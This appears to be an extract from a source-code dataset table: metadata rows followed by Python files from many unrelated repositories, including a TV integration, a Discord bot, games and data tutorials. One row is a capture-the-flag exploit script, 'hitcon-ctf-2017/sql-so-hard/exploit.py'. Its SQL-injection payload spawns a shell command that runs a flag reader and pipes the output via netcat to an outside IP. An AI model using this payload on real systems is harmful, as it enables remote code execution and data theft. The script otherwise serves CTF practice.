hexsha stringlengths 40 40 | size int64 1 1.03M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 239 | max_stars_repo_name stringlengths 5 130 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 239 | max_issues_repo_name stringlengths 5 130 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 239 | max_forks_repo_name stringlengths 5 130 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 1 1.03M | avg_line_length float64 1 958k | max_line_length int64 1 1.03M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
7988630961d3dcb3f0ebfb23d4acbd195cb9c6d5 | 1,651 | py | Python | web/server.py | jeongjuns/yolactpose | 6faea1707731e4a4bfb019856d3667e70238cfc6 | [
"MIT"
] | 1 | 2022-02-12T17:18:55.000Z | 2022-02-12T17:18:55.000Z | web/server.py | jeongjuns/yolactpose | 6faea1707731e4a4bfb019856d3667e70238cfc6 | [
"MIT"
] | null | null | null | web/server.py | jeongjuns/yolactpose | 6faea1707731e4a4bfb019856d3667e70238cfc6 | [
"MIT"
] | null | null | null | from http.server import SimpleHTTPRequestHandler, HTTPServer, HTTPStatus
from pathlib import Path
import os
PORT = 6337
IMAGE_PATH = '../data/coco/images/'
IMAGE_FMT = '%012d.jpg'
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/detindex':
self.send_str('\n'.join([p.na... | 27.983051 | 81 | 0.678377 |
7988637573e6edd59ac1e791e3addbed9402a9e9 | 2,200 | py | Python | src/gamesbyexample/dna.py | spp2/PythonStdioGames | 7edc6a07ef816a44579800e773f30217541971fa | [
"MIT"
] | null | null | null | src/gamesbyexample/dna.py | spp2/PythonStdioGames | 7edc6a07ef816a44579800e773f30217541971fa | [
"MIT"
] | null | null | null | src/gamesbyexample/dna.py | spp2/PythonStdioGames | 7edc6a07ef816a44579800e773f30217541971fa | [
"MIT"
] | 1 | 2020-10-12T06:43:06.000Z | 2020-10-12T06:43:06.000Z | """DNA, by Al Sweigart al@inventwithpython.com
A simple animation of a DNA double-helix. Press Ctrl-C to stop.
Inspired by matoken https://asciinema.org/a/155441
This and other games are available at https://nostarch.com/XX
Tags: short, artistic, scrolling, science"""
__version__ = 0
import random, sys, time
PAUSE = 0... | 32.352941 | 69 | 0.516818 |
798864663e81895953257803bd3de4f442d9eb8a | 571 | py | Python | hitcon-ctf-2017/sql-so-hard/exploit.py | Pr0phet/hitcon2017Dockerfile | 2b7c9ab1e84c8a02b256a87f68a7f334f8867a7f | [
"Apache-2.0"
] | 33 | 2018-03-23T03:34:42.000Z | 2019-08-07T07:11:01.000Z | hitcon-ctf-2017/sql-so-hard/exploit.py | soulofan/hitconDockerfile | 2b7c9ab1e84c8a02b256a87f68a7f334f8867a7f | [
"Apache-2.0"
] | null | null | null | hitcon-ctf-2017/sql-so-hard/exploit.py | soulofan/hitconDockerfile | 2b7c9ab1e84c8a02b256a87f68a7f334f8867a7f | [
"Apache-2.0"
] | 11 | 2018-04-20T23:00:26.000Z | 2019-07-12T14:10:08.000Z | from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc 192.168.234.123 9999`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1... | 40.785714 | 230 | 0.574431 |
798864781b914d81ac90ec3ec72c4d24aa188e13 | 12,504 | py | Python | sevenseconds/helper/auth.py | jonathanbeber/sevenseconds | a8ba8f5fc5f7e658a928f807ab7905b56498f12e | [
"Apache-2.0"
] | 71 | 2015-03-23T11:01:55.000Z | 2021-10-15T00:29:33.000Z | sevenseconds/helper/auth.py | jonathanbeber/sevenseconds | a8ba8f5fc5f7e658a928f807ab7905b56498f12e | [
"Apache-2.0"
] | 108 | 2015-04-13T13:42:53.000Z | 2021-07-07T15:16:13.000Z | sevenseconds/helper/auth.py | jonathanbeber/sevenseconds | a8ba8f5fc5f7e658a928f807ab7905b56498f12e | [
"Apache-2.0"
] | 19 | 2015-04-23T11:52:31.000Z | 2021-06-17T16:31:20.000Z | import jwt
import zign.api
import requests
import os
import boto3
import botocore.exceptions
import multiprocessing
from itertools import repeat
from ..helper import ActionOnExit, error, fatal_error
class AssumeRoleFailed(Exception):
def __init__(self, msg):
self.msg = msg
def __str__(self):
... | 44.028169 | 113 | 0.599488 |
798864cee12507ecac20fecb1204b93a2092033e | 3,534 | py | Python | main.py | ramneek008/House-Combat-RPG | 28fd21347b90d54def7c04435061349d00f17d10 | [
"MIT"
] | null | null | null | main.py | ramneek008/House-Combat-RPG | 28fd21347b90d54def7c04435061349d00f17d10 | [
"MIT"
] | null | null | null | main.py | ramneek008/House-Combat-RPG | 28fd21347b90d54def7c04435061349d00f17d10 | [
"MIT"
] | null | null | null | from room import Room
from character import Enemy, Friend
from item import Item
kitchen = Room("Kitchen")
kitchen.set_description("A dank and dirty room buzzing with flies.")
dining_hall = Room("Dining Hall")
dining_hall.set_description("A large room with a table and ornate golden decorations on each wall.");
ballro... | 31.553571 | 104 | 0.614884 |
798864d198af3039df363e4f476d6f9cb55cc88c | 1,605 | py | Python | pandas_learn/pandas_senior.py | fossabot/experiment_code | de0fdfc4f6cc61cd1941af8df6e39491fada0e6b | [
"MIT"
] | null | null | null | pandas_learn/pandas_senior.py | fossabot/experiment_code | de0fdfc4f6cc61cd1941af8df6e39491fada0e6b | [
"MIT"
] | null | null | null | pandas_learn/pandas_senior.py | fossabot/experiment_code | de0fdfc4f6cc61cd1941af8df6e39491fada0e6b | [
"MIT"
] | null | null | null |
import pandas as pd
import numpy as np
dates = pd.date_range('20130101', periods=6)
df = pd.DataFrame(np.random.randn(6,4), index=dates, columns=list('ABCD'))
df['E'] = np.where(df['D'] >= 0, '>=0', '<0')
df['F'] = np.random.randint(0, 2, 6)
df.assign(G = df.A * df.D) # 或者
df['F'] = df['F'].apply(str) #针对单列的
df.app... | 25.47619 | 88 | 0.609346 |
7988656942ae3ce9de269e38569f7a0e67032bfe | 6,217 | py | Python | icourse163/CourseCatalog.py | xiyaowong/icourse163_spider | 0ffa4a36dec0647e02fc9a35cc7f264ff96a5eb4 | [
"MIT"
] | 2 | 2020-10-25T05:58:59.000Z | 2020-12-06T01:11:02.000Z | icourse163/CourseCatalog.py | xiyaowong/icourse163_spider | 0ffa4a36dec0647e02fc9a35cc7f264ff96a5eb4 | [
"MIT"
] | null | null | null | icourse163/CourseCatalog.py | xiyaowong/icourse163_spider | 0ffa4a36dec0647e02fc9a35cc7f264ff96a5eb4 | [
"MIT"
] | null | null | null | import re
from typing import List
import requests
class CourseCatalog:
"""
获得课程有关信息
"""
__headers = {
"user-agent": ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/80.0.3987.149 Safari/537.36")
}
__list_url = "https://www.icour... | 32.046392 | 122 | 0.481744 |
7988669dd656819f63d92fe90303bd031ca1c6ae | 173 | py | Python | congressionalrecord/IndividualWordCounter.py | BadIdeaFactory/truthgoggles-phrases | 2ed403386d9d526e992b85aa7f1ee2c7f10d5f59 | [
"Apache-2.0"
] | null | null | null | congressionalrecord/IndividualWordCounter.py | BadIdeaFactory/truthgoggles-phrases | 2ed403386d9d526e992b85aa7f1ee2c7f10d5f59 | [
"Apache-2.0"
] | 1 | 2019-03-21T14:27:40.000Z | 2019-03-21T14:27:40.000Z | congressionalrecord/IndividualWordCounter.py | BadIdeaFactory/truthgoggles-phrases | 2ed403386d9d526e992b85aa7f1ee2c7f10d5f59 | [
"Apache-2.0"
] | null | null | null | class IndividualWordCounter:
name = ""
data = []
def __init__(self, name):
self.name = name
for i in range(26):
self.data.append({}) | 21.625 | 32 | 0.531792 |
7988674b1ac4877503b263b4cd97cd4e09a96e2b | 106,391 | py | Python | pybind/slxos/v17s_1_02/brocade_xstp_ext_rpc/get_stp_brief_info/output/spanning_tree_info/pvstp/port/__init__.py | extremenetworks/pybind | 44c467e71b2b425be63867aba6e6fa28b2cfe7fb | [
"Apache-2.0"
] | null | null | null | pybind/slxos/v17s_1_02/brocade_xstp_ext_rpc/get_stp_brief_info/output/spanning_tree_info/pvstp/port/__init__.py | extremenetworks/pybind | 44c467e71b2b425be63867aba6e6fa28b2cfe7fb | [
"Apache-2.0"
] | null | null | null | pybind/slxos/v17s_1_02/brocade_xstp_ext_rpc/get_stp_brief_info/output/spanning_tree_info/pvstp/port/__init__.py | extremenetworks/pybind | 44c467e71b2b425be63867aba6e6fa28b2cfe7fb | [
"Apache-2.0"
] | 1 | 2021-11-05T22:15:42.000Z | 2021-11-05T22:15:42.000Z |
from operator import attrgetter
import pyangbind.lib.xpathhelper as xpathhelper
from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType
from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType
from pyangbind.lib.base import PybindBase
from d... | 87.781353 | 1,002 | 0.714431 |
7988690b5ed66cc4f4a273e0a5bcf1c6daeb6871 | 1,581 | py | Python | example/python/permissions/can_get_all_txs.py | artyom-yurin/iroha-archive | 1ad3a149d21d30e99c650a9a4bad88b2792d751d | [
"Apache-2.0"
] | 31 | 2019-04-17T19:32:05.000Z | 2022-02-05T01:35:02.000Z | example/python/permissions/can_get_all_txs.py | artyom-yurin/iroha-archive | 1ad3a149d21d30e99c650a9a4bad88b2792d751d | [
"Apache-2.0"
] | 11 | 2016-10-13T10:09:55.000Z | 2019-06-13T08:49:11.000Z | example/python/permissions/can_get_all_txs.py | artyom-yurin/iroha-archive | 1ad3a149d21d30e99c650a9a4bad88b2792d751d | [
"Apache-2.0"
] | 12 | 2019-06-03T10:31:31.000Z | 2021-12-13T12:17:15.000Z | #
# Copyright Soramitsu Co., Ltd. All Rights Reserved.
# SPDX-License-Identifier: Apache-2.0
#
import irohalib
import binascii
import commons
import primitive_pb2
admin = commons.new_user('admin@first')
alice = commons.new_user('alice@second')
iroha = irohalib.Iroha(admin['id'])
admin_tx1_hash = None
admin_tx2_hash ... | 26.79661 | 99 | 0.726123 |
7988693deebbc59df8b8926681af2b7ee49b0006 | 4,416 | py | Python | sympy/physics/quantum/innerproduct.py | Michal-Gagala/sympy | 3cc756c2af73b5506102abaeefd1b654e286e2c8 | [
"MIT"
] | null | null | null | sympy/physics/quantum/innerproduct.py | Michal-Gagala/sympy | 3cc756c2af73b5506102abaeefd1b654e286e2c8 | [
"MIT"
] | null | null | null | sympy/physics/quantum/innerproduct.py | Michal-Gagala/sympy | 3cc756c2af73b5506102abaeefd1b654e286e2c8 | [
"MIT"
] | null | null | null | """Symbolic inner product."""
from sympy.core.expr import Expr
from sympy.functions.elementary.complexes import conjugate
from sympy.printing.pretty.stringpict import prettyForm
from sympy.physics.quantum.dagger import Dagger
from sympy.physics.quantum.state import KetBase, BraBase
__all__ = [
'InnerProd... | 32 | 79 | 0.598053 |
79886baeaa3843cc9fd2360f03b754462d9668ce | 1,031 | py | Python | common/log.py | kollad/turbo-ninja | 9c3f66b2af64aec01f522d19b309cfdd723e67cf | [
"MIT"
] | null | null | null | common/log.py | kollad/turbo-ninja | 9c3f66b2af64aec01f522d19b309cfdd723e67cf | [
"MIT"
] | 1 | 2017-12-14T05:35:38.000Z | 2017-12-14T05:35:38.000Z | common/log.py | kollad/turbo-ninja | 9c3f66b2af64aec01f522d19b309cfdd723e67cf | [
"MIT"
] | null | null | null | from yaml import load
from logging import config
import os
def setup_logger(settings):
"""
Settings object
:param settings: Settings
:type settings: dict
:return:
"""
with open(os.path.join("logging.yaml")) as logging_config:
log_config = load(logging_config)
configure_logs(s... | 20.215686 | 70 | 0.592629 |
79886c43a3a19432a091f3ad86fe9228387d4450 | 11,335 | py | Python | test/tbats/TBATSHarmonicsChoosingStrategy_test.py | arita37/tbats | 4e726919f08e39e74dd70a592b5258dfc7b25953 | [
"MIT"
] | 1 | 2019-07-21T15:38:12.000Z | 2019-07-21T15:38:12.000Z | test/tbats/TBATSHarmonicsChoosingStrategy_test.py | arita37/tbats | 4e726919f08e39e74dd70a592b5258dfc7b25953 | [
"MIT"
] | null | null | null | test/tbats/TBATSHarmonicsChoosingStrategy_test.py | arita37/tbats | 4e726919f08e39e74dd70a592b5258dfc7b25953 | [
"MIT"
] | null | null | null | import pytest
import numpy as np
from tbats.tbats import HarmonicsChoosingStrategy, Context, Components, ModelParams
class TestTBATSHarmonicsChoosingStrategy(object):
class ModelMock:
def __init__(self, y, params, aic_score):
self.params = params
self.y = y
self.aic = ... | 37.533113 | 114 | 0.450904 |
79886c49479e279bfacbb192191d164683826805 | 13,382 | py | Python | custom_components/samsungtv_smart/logo.py | peledzius/ha-samsungtv-smart | 185109d81824c9f5ee5e5c6b4ac5154006f5ae52 | [
"Apache-2.0"
] | null | null | null | custom_components/samsungtv_smart/logo.py | peledzius/ha-samsungtv-smart | 185109d81824c9f5ee5e5c6b4ac5154006f5ae52 | [
"Apache-2.0"
] | null | null | null | custom_components/samsungtv_smart/logo.py | peledzius/ha-samsungtv-smart | 185109d81824c9f5ee5e5c6b4ac5154006f5ae52 | [
"Apache-2.0"
] | null | null | null |
import aiofiles
from aiofiles import os as aiopath
import aiohttp
import asyncio
from datetime import timedelta, datetime
from enum import Enum
import json
import logging
import os
from pathlib import Path
import re
import traceback
from typing import Optional
from .const import DOMAIN
# Logo feature constants
clas... | 35.308707 | 110 | 0.593708 |
79886cf0e3cd6302308a68db329d72a934d620ab | 16,754 | py | Python | src/sage/monoids/string_monoid_element.py | switzel/sage | 7eb8510dacf61b691664cd8f1d2e75e5d473e5a0 | [
"BSL-1.0"
] | null | null | null | src/sage/monoids/string_monoid_element.py | switzel/sage | 7eb8510dacf61b691664cd8f1d2e75e5d473e5a0 | [
"BSL-1.0"
] | null | null | null | src/sage/monoids/string_monoid_element.py | switzel/sage | 7eb8510dacf61b691664cd8f1d2e75e5d473e5a0 | [
"BSL-1.0"
] | 1 | 2020-07-24T12:20:37.000Z | 2020-07-24T12:20:37.000Z | """
String Monoid Elements
AUTHORS:
- David Kohel <kohel@maths.usyd.edu.au>, 2007-01
Elements of free string monoids, internal representation subject to change.
These are special classes of free monoid elements with distinct printing.
The internal representation of elements does not use the exponential
compression... | 32.595331 | 107 | 0.526322 |
79886d5b052a7f086cb4fa007f4d9afdd1116b90 | 404 | py | Python | venv/Lib/site-packages/randstr/__init__.py | vl0114/GfGuide | 96dffa35583f8c5a88bf5fd1e039910e3e6d0bec | [
"MIT"
] | 5 | 2015-05-04T19:46:48.000Z | 2020-06-09T11:13:31.000Z | venv/Lib/site-packages/randstr/__init__.py | vl0114/GfGuide | 96dffa35583f8c5a88bf5fd1e039910e3e6d0bec | [
"MIT"
] | 1 | 2015-10-27T05:40:15.000Z | 2015-10-27T05:56:16.000Z | venv/Lib/site-packages/randstr/__init__.py | vl0114/GfGuide | 96dffa35583f8c5a88bf5fd1e039910e3e6d0bec | [
"MIT"
] | 1 | 2019-12-12T05:22:36.000Z | 2019-12-12T05:22:36.000Z | # -*- coding: utf-8 -*-
import random
__author__ = 'Eric Larson'
__email__ = 'eric@ionrock.org'
__version__ = '0.1.2'
ALPHA = 'abcdefghijklmnopqrstuvwxyz'
NUMS = '0123456789'
DELIMITERS = ' -_.,'
CHARS = ALPHA + NUMS
CHARS_WITH_CAPS = ALPHA.upper() + CHARS
CHARS_WITH_DELIMITERS = CHARS + DELIMITERS
def randstr(leng... | 22.444444 | 63 | 0.707921 |
79886e71db084443903619ffa6c3eb4a995cdc7c | 257 | py | Python | August 2021/Complex Number Multiplication.py | parikshitgupta1/leetcode | eba6c11740dc7597204af127c0f4c2163376294f | [
"MIT"
] | null | null | null | August 2021/Complex Number Multiplication.py | parikshitgupta1/leetcode | eba6c11740dc7597204af127c0f4c2163376294f | [
"MIT"
] | null | null | null | August 2021/Complex Number Multiplication.py | parikshitgupta1/leetcode | eba6c11740dc7597204af127c0f4c2163376294f | [
"MIT"
] | null | null | null | class Solution:
def complexNumberMultiply(self, num1: str, num2: str) -> str:
a, b = map(int, num1[:-1].split('+'))
c, d = map(int, num2[:-1].split('+'))
real = a*c - b*d
imag = a*d + b*c
return f"{real}+{imag}i"
| 32.125 | 65 | 0.490272 |
79886fce52a3028bf52818d7c0a210b1b9ef994a | 304 | py | Python | tests/fixtures/paths.py | pschelle/pyonepassword | 2258c0fa851ad6a63c4f959982a66c715706b654 | [
"MIT"
] | 12 | 2019-08-11T09:08:47.000Z | 2022-03-18T22:10:12.000Z | tests/fixtures/paths.py | pschelle/pyonepassword | 2258c0fa851ad6a63c4f959982a66c715706b654 | [
"MIT"
] | 23 | 2019-09-13T20:16:12.000Z | 2022-01-15T18:29:52.000Z | tests/fixtures/paths.py | pschelle/pyonepassword | 2258c0fa851ad6a63c4f959982a66c715706b654 | [
"MIT"
] | 10 | 2020-03-10T19:49:35.000Z | 2022-01-18T14:09:10.000Z | from pathlib import Path
TEST_DATA_PATH = Path("tests", "data")
TEST_CONFIG_PATH = Path("tests", "config")
EXPECTED_DATA_PATH = Path(TEST_DATA_PATH, "expected-data.json")
MOCK_OP_CONFIG_PATH = Path(TEST_CONFIG_PATH, "mock-op")
RESP_DIRECTORY_PATH = Path(MOCK_OP_CONFIG_PATH, "response-directory.json")
| 33.777778 | 74 | 0.786184 |
79886ff3893ddd41e54c540764e0c99737075588 | 34 | py | Python | example_snippets/multimenus_snippets/Snippets/SciPy/Special functions/Ellipsoidal Harmonics/ellip_normal Ellipsoidal harmonic normalization constants $gamma^p_n$.py | kuanpern/jupyterlab-snippets-multimenus | 477f51cfdbad7409eab45abe53cf774cd70f380c | [
"BSD-3-Clause"
] | null | null | null | example_snippets/multimenus_snippets/Snippets/SciPy/Special functions/Ellipsoidal Harmonics/ellip_normal Ellipsoidal harmonic normalization constants $gamma^p_n$.py | kuanpern/jupyterlab-snippets-multimenus | 477f51cfdbad7409eab45abe53cf774cd70f380c | [
"BSD-3-Clause"
] | null | null | null | example_snippets/multimenus_snippets/Snippets/SciPy/Special functions/Ellipsoidal Harmonics/ellip_normal Ellipsoidal harmonic normalization constants $gamma^p_n$.py | kuanpern/jupyterlab-snippets-multimenus | 477f51cfdbad7409eab45abe53cf774cd70f380c | [
"BSD-3-Clause"
] | 1 | 2021-02-04T04:51:48.000Z | 2021-02-04T04:51:48.000Z | special.ellip_normal(h2, k2, n, p) | 34 | 34 | 0.735294 |
7988709e10bf0c704945b601ebe532f27c1891ec | 1,916 | py | Python | courses/dl2/imdb_scripts/pretrain_lm.py | zsquaredz/fastai | 7afb666a605772742fd76bdd608d7f80e39114f1 | [
"Apache-2.0"
] | null | null | null | courses/dl2/imdb_scripts/pretrain_lm.py | zsquaredz/fastai | 7afb666a605772742fd76bdd608d7f80e39114f1 | [
"Apache-2.0"
] | null | null | null | courses/dl2/imdb_scripts/pretrain_lm.py | zsquaredz/fastai | 7afb666a605772742fd76bdd608d7f80e39114f1 | [
"Apache-2.0"
] | null | null | null | import fire
from fastai.text import *
from old.fastai.text import *
from sampled_sm import *
def train_lm(dir_path, cuda_id, cl=1, bs=64, backwards=False, lr=3e-4, sampled=True,
pretrain_id=''):
print(f'dir_path {dir_path}; cuda_id {cuda_id}; cl {cl}; bs {bs}; '
f'backwards {backwards}; lr ... | 35.481481 | 86 | 0.632046 |
7988718aba7f78f69f9dfb158e069912c2e0f1c9 | 513 | py | Python | ed448_keygen.py | GlitchedPolygons/eddsa-utils | b1d608685aadd643fd9243bbafde0608a0e19d86 | [
"MIT"
] | null | null | null | ed448_keygen.py | GlitchedPolygons/eddsa-utils | b1d608685aadd643fd9243bbafde0608a0e19d86 | [
"MIT"
] | null | null | null | ed448_keygen.py | GlitchedPolygons/eddsa-utils | b1d608685aadd643fd9243bbafde0608a0e19d86 | [
"MIT"
] | null | null | null | import json
import hashlib
import secrets
from ecpy.curves import Curve
from ecpy.eddsa import EDDSA
from ecpy.keys import ECPrivateKey
curve = Curve.get_curve('Ed448')
signer = EDDSA(hashlib.shake_256, hash_len=114)
private_key = ECPrivateKey(secrets.randbits(57*8), curve)
public_key = signer.get_public_key(private... | 24.428571 | 80 | 0.77193 |
7988719bbe3be5bfba25be510d3d8ae69b4b9aa5 | 2,681 | py | Python | scripts/import_media_tweets.py | bismark/iambismark.net | 1ef89663cfcf4682fbfd60781bb143a7fd276312 | [
"MIT"
] | null | null | null | scripts/import_media_tweets.py | bismark/iambismark.net | 1ef89663cfcf4682fbfd60781bb143a7fd276312 | [
"MIT"
] | null | null | null | scripts/import_media_tweets.py | bismark/iambismark.net | 1ef89663cfcf4682fbfd60781bb143a7fd276312 | [
"MIT"
] | null | null | null | #! /usr/bin/env python
import codecs
import json
from dateutil import parser
from hugo_helper import utils
import calendar
import os
import sys
import yaml
output_dir = os.path.join(os.getcwd(), "iambismark.net", "content", "post")
image_dir = os.path.expanduser("~/Desktop/TweetPhotos")
processed_dir = os.path.join(... | 32.301205 | 121 | 0.600149 |
798871b1986cfa3f956b8c4bfa29eed6660395ea | 1,822 | py | Python | mypython/Lib/site-packages/pandas/tests/frame/indexing/test_delitem.py | lilianatang/data-modelling-with-postgresql | 4b5d057d23c346cc36695dc0548f11908aeb5431 | [
"Apache-2.0"
] | null | null | null | mypython/Lib/site-packages/pandas/tests/frame/indexing/test_delitem.py | lilianatang/data-modelling-with-postgresql | 4b5d057d23c346cc36695dc0548f11908aeb5431 | [
"Apache-2.0"
] | null | null | null | mypython/Lib/site-packages/pandas/tests/frame/indexing/test_delitem.py | lilianatang/data-modelling-with-postgresql | 4b5d057d23c346cc36695dc0548f11908aeb5431 | [
"Apache-2.0"
] | 1 | 2021-04-26T22:41:56.000Z | 2021-04-26T22:41:56.000Z | import re
import numpy as np
import pytest
from pandas import DataFrame, MultiIndex
class TestDataFrameDelItem:
def test_delitem(self, float_frame):
del float_frame["A"]
assert "A" not in float_frame
def test_delitem_multiindex(self):
midx = MultiIndex.from_product([["... | 31.413793 | 82 | 0.551592 |
7988727f2b64c29ba9f8416a16355603a677eebf | 6,872 | py | Python | src/ecc_vs_rsa/clientRSA.py | jai-singhal/iot-ecc | 70ba8560a9db380a12d0b7185a5a77fb298fea65 | [
"BSD-3-Clause"
] | null | null | null | src/ecc_vs_rsa/clientRSA.py | jai-singhal/iot-ecc | 70ba8560a9db380a12d0b7185a5a77fb298fea65 | [
"BSD-3-Clause"
] | 1 | 2021-04-30T21:15:48.000Z | 2021-04-30T21:15:48.000Z | src/ecc_vs_rsa/clientRSA.py | jai-singhal/iot-ecc | 70ba8560a9db380a12d0b7185a5a77fb298fea65 | [
"BSD-3-Clause"
] | 1 | 2020-04-22T13:35:55.000Z | 2020-04-22T13:35:55.000Z | import requests
import binascii
import base64
import time
import json
import binascii
import rsa
import os
from timeit import default_timer as timer
from tqdm import tqdm
def clearDB():
# with open("../../db/serverdbECC.json", "w") as fout:
# fout.write("")
with open("../../db/serverdbRSA.json", "w") ... | 33.359223 | 128 | 0.577998 |
798872a3142d9cf2d49b9c45be5300574b4833ce | 2,080 | py | Python | userbot/modules/animals.py | CoeF/Ayiin-Userbot | a73af54f78092ef424679295463a7cf5eccfad10 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | userbot/modules/animals.py | CoeF/Ayiin-Userbot | a73af54f78092ef424679295463a7cf5eccfad10 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | userbot/modules/animals.py | CoeF/Ayiin-Userbot | a73af54f78092ef424679295463a7cf5eccfad10 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | # Taken from
# https://github.com/AvinashReddy3108/PaperplaneRemix/blob/master/userbot/plugins/memes.py
# TG-UserBot - A modular Telegram UserBot script for Python.
# Copyright (C) 2019 Kandarp <https://github.com/kandnub>
#
# TG-UserBot is free software: you can redistribute it and/or modify
# it under the terms of t... | 35.254237 | 90 | 0.693269 |
79887476a52292bc32a354a5dfb694dd064a3200 | 10,748 | py | Python | crispy/io.py | bionictoucan/crispy | 2bd5cb78736ee0799c85ad2d0a00bf97dce2f006 | [
"MIT"
] | null | null | null | crispy/io.py | bionictoucan/crispy | 2bd5cb78736ee0799c85ad2d0a00bf97dce2f006 | [
"MIT"
] | null | null | null | crispy/io.py | bionictoucan/crispy | 2bd5cb78736ee0799c85ad2d0a00bf97dce2f006 | [
"MIT"
] | null | null | null | import numpy as np
import os, zarr
from astropy.wcs import WCS
from scipy.io import readsav
from tqdm import tqdm
def memmap_crisp_cube(path):
"""
This function memory maps a legacy La Palma data cube pulling metainformation from appropriate files. The function first looks for an ``assoc.pro`` file which conta... | 44.04918 | 832 | 0.610997 |
798874c257fdf0b79c43d92c08af439689cbe713 | 1,307 | py | Python | roman-to-integer/solution.py | LYZhelloworld/Leetcode | 1ef3c8d3a75a20755e7474427224ed8757f97932 | [
"MIT"
] | null | null | null | roman-to-integer/solution.py | LYZhelloworld/Leetcode | 1ef3c8d3a75a20755e7474427224ed8757f97932 | [
"MIT"
] | null | null | null | roman-to-integer/solution.py | LYZhelloworld/Leetcode | 1ef3c8d3a75a20755e7474427224ed8757f97932 | [
"MIT"
] | null | null | null | class Solution:
def romanToInt(self, s):
"""
:type s: str
:rtype: int
"""
ones = (None, 'I', 'II', 'III', 'IV', 'V', 'VI', 'VII', 'VIII', 'IX')
tens = (None, 'X', 'XX', 'XXX', 'XL', 'L', 'LX', 'LXX', 'LXXX', 'XC')
hundreds = (None, 'C', 'CC', 'CCC',... | 34.394737 | 82 | 0.434583 |
7988752506a746dfa0c80add5ea3a5b7b6285bb8 | 5,627 | py | Python | main.py | Turbo-Future/LeBot-GitHub | 5fdfee19c0bacc764c0c4db270b809ac27d19600 | [
"MIT"
] | null | null | null | main.py | Turbo-Future/LeBot-GitHub | 5fdfee19c0bacc764c0c4db270b809ac27d19600 | [
"MIT"
] | null | null | null | main.py | Turbo-Future/LeBot-GitHub | 5fdfee19c0bacc764c0c4db270b809ac27d19600 | [
"MIT"
] | null | null | null | import discord
import os
import random
import asyncio
import json
import time
import keep_alive
from colorama import Fore
from settings import token
from discord import Embed
from discord.ext import commands, tasks
def get_prefix(bot, message):
with open("prefixes.json", "r") as f:
prefixes = json.load(f)
ret... | 29.307292 | 161 | 0.692021 |
7988753b369816841e2cf4a22eefb91152fceea9 | 1,835 | py | Python | aries_cloudagent/multitenant/manager_provider.py | kuraakhilesh8230/aries-cloudagent-python | ee384d1330f6a50ff45a507392ce54f92900f23a | [
"Apache-2.0"
] | 247 | 2019-07-02T21:10:21.000Z | 2022-03-30T13:55:33.000Z | aries_cloudagent/multitenant/manager_provider.py | kuraakhilesh8230/aries-cloudagent-python | ee384d1330f6a50ff45a507392ce54f92900f23a | [
"Apache-2.0"
] | 1,462 | 2019-07-02T20:57:30.000Z | 2022-03-31T23:13:35.000Z | aries_cloudagent/multitenant/manager_provider.py | kuraakhilesh8230/aries-cloudagent-python | ee384d1330f6a50ff45a507392ce54f92900f23a | [
"Apache-2.0"
] | 377 | 2019-06-20T21:01:31.000Z | 2022-03-30T08:27:53.000Z | """Profile manager for multitenancy."""
import logging
from ..config.provider import BaseProvider
from ..config.settings import BaseSettings
from ..config.injector import BaseInjector
from ..config.base import InjectionError
from ..utils.classloader import ClassLoader, ClassNotFoundError
LOGGER = logging.getLogger(_... | 32.192982 | 82 | 0.674659 |
7988759be225958e3a7d0394dc349f5c091b7577 | 875 | py | Python | mythril/exceptions.py | yxliang01/mythril-classic | 2348c75a5816cb4201ba680b3e0a062d4e467dbc | [
"MIT"
] | 8 | 2018-05-15T01:39:48.000Z | 2020-09-14T03:56:54.000Z | mythril/exceptions.py | yxliang01/mythril-classic | 2348c75a5816cb4201ba680b3e0a062d4e467dbc | [
"MIT"
] | 21 | 2019-04-12T17:54:51.000Z | 2021-11-04T18:47:45.000Z | mythril/exceptions.py | yxliang01/mythril-classic | 2348c75a5816cb4201ba680b3e0a062d4e467dbc | [
"MIT"
] | 2 | 2018-05-11T01:10:29.000Z | 2018-05-15T17:35:37.000Z | """This module contains general exceptions used by Mythril."""
class MythrilBaseException(Exception):
"""The Mythril exception base type."""
pass
class CompilerError(MythrilBaseException):
"""A Mythril exception denoting an error during code compilation."""
pass
class UnsatError(MythrilBaseExcep... | 20.833333 | 76 | 0.731429 |
798876317a26f9effe47ca85f868c88861c1ea67 | 2,097 | py | Python | configs/config_wifi_bandwidth/config_wifi50.py | muhammadsharjeelbutt/mpath-simulator-percom | b75236b1e0d7725155c03a1547e21bf6613836cc | [
"BSD-3-Clause"
] | null | null | null | configs/config_wifi_bandwidth/config_wifi50.py | muhammadsharjeelbutt/mpath-simulator-percom | b75236b1e0d7725155c03a1547e21bf6613836cc | [
"BSD-3-Clause"
] | null | null | null | configs/config_wifi_bandwidth/config_wifi50.py | muhammadsharjeelbutt/mpath-simulator-percom | b75236b1e0d7725155c03a1547e21bf6613836cc | [
